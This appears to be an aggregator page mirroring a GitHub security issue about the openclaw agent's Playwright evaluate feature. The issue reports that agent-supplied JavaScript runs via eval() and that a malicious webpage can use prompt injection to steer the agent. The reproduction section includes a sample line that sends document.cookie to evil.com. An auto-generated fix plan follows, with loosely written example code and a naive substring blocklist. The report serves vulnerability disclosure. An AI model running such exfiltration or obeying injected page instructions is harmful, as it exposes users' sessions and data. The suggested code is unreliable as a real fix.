Issue Station
Sign In
Tools hereToolbox

openclaw - 💡(How to fix) Fix Security: Arbitrary JS execution via Playwright evaluate with eval()/new Function() [1 comments, 2 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
openclaw/openclaw#54286•Fetched 2026-04-08 01:29:38
View on GitHub
Comments
1
Participants
2
Timeline
4
Reactions
0
Author
jinduwang1001-maxjinduwang1001-max
Participants
jinduwang1001-maxjinduwang1001-maxvincentkocvincentkoc
Timeline (top)
closed ×1commented ×1labeled ×1locked ×1

evaluateViaPlaywright takes action.fn from AI agent browser actions, wraps it in new Function("args", ...) containing eval("(" + fnBody + ")"), and executes it in the browser context via page.evaluate().

While gated behind evaluateEnabled config, when enabled, the AI agent (or prompt injection from a malicious webpage) can execute arbitrary JavaScript in the browser page context.

Root Cause

evaluateViaPlaywright takes action.fn from AI agent browser actions, wraps it in new Function("args", ...) containing eval("(" + fnBody + ")"), and executes it in the browser context via page.evaluate().

While gated behind evaluateEnabled config, when enabled, the AI agent (or prompt injection from a malicious webpage) can execute arbitrary JavaScript in the browser page context.

RAW_BUFFERClick to expand / collapse

Summary

evaluateViaPlaywright takes action.fn from AI agent browser actions, wraps it in new Function("args", ...) containing eval("(" + fnBody + ")"), and executes it in the browser context via page.evaluate().

While gated behind evaluateEnabled config, when enabled, the AI agent (or prompt injection from a malicious webpage) can execute arbitrary JavaScript in the browser page context.

Impact

  • Cookie theft, session hijacking, XSS in the browser context
  • Exfiltration of page data
  • Particularly dangerous when the browser is authenticated to sensitive services (banking, email, corporate tools)

Reproduction

  1. Enable browser evaluate in config
  2. Have the agent navigate to a page with prompt injection
  3. Malicious page instructs the agent to evaluate document.cookie or fetch("https://evil.com/?c="+document.cookie)

Location

Compiled: dist/pw-ai-BVCS_79_.js:1147-1235

Suggested Fix

  1. Add a strict CSP for evaluated code
  2. Run evaluated code in an isolated browser context/sandbox
  3. Require explicit user approval for each evaluate action
  4. Validate/restrict the function body (block fetch, XMLHttpRequest, document.cookie access)

extent analysis

Fix Plan

To address the security vulnerability, we will implement the following steps:

  • Add a strict Content Security Policy (CSP) for evaluated code
  • Run evaluated code in an isolated browser context/sandbox
  • Require explicit user approval for each evaluate action
  • Validate and restrict the function body

Example Code Changes

// Add strict CSP for evaluated code
const csp = "default-src 'self'; script-src 'self' https://example.com; object-src 'none'";
page.evaluate(`(${action.fn})`, { context: 'sandbox', csp: csp });

// Run evaluated code in an isolated browser context/sandbox
const context = browser.newContext();
const page = context.newPage();
page.evaluate(`(${action.fn})`);

// Require explicit user approval for each evaluate action
if (await getUserApproval()) {
  page.evaluate(`(${action.fn})`);
}

// Validate and restrict the function body
const restrictedFunctions = ['fetch', 'XMLHttpRequest', 'document.cookie'];
if (!restrictedFunctions.some(func => action.fn.includes(func))) {
  page.evaluate(`(${action.fn})`);
}

Verification

To verify the fix, test the following scenarios:

  • Attempt to execute restricted functions (e.g., fetch, XMLHttpRequest, document.cookie) and ensure they are blocked
  • Verify that evaluated code is run in an isolated browser context/sandbox and does not have access to sensitive data
  • Confirm that explicit user approval is required for each evaluate action

Extra Tips

  • Regularly review and update the list of restricted functions to ensure the security of the application
  • Consider using a Web Application Firewall (WAF) to detect and prevent malicious traffic
  • Implement additional security measures, such as input validation and sanitization, to prevent other types of attacks.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…
#LLM response#prompt template#agent execution#callback error#memory management

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING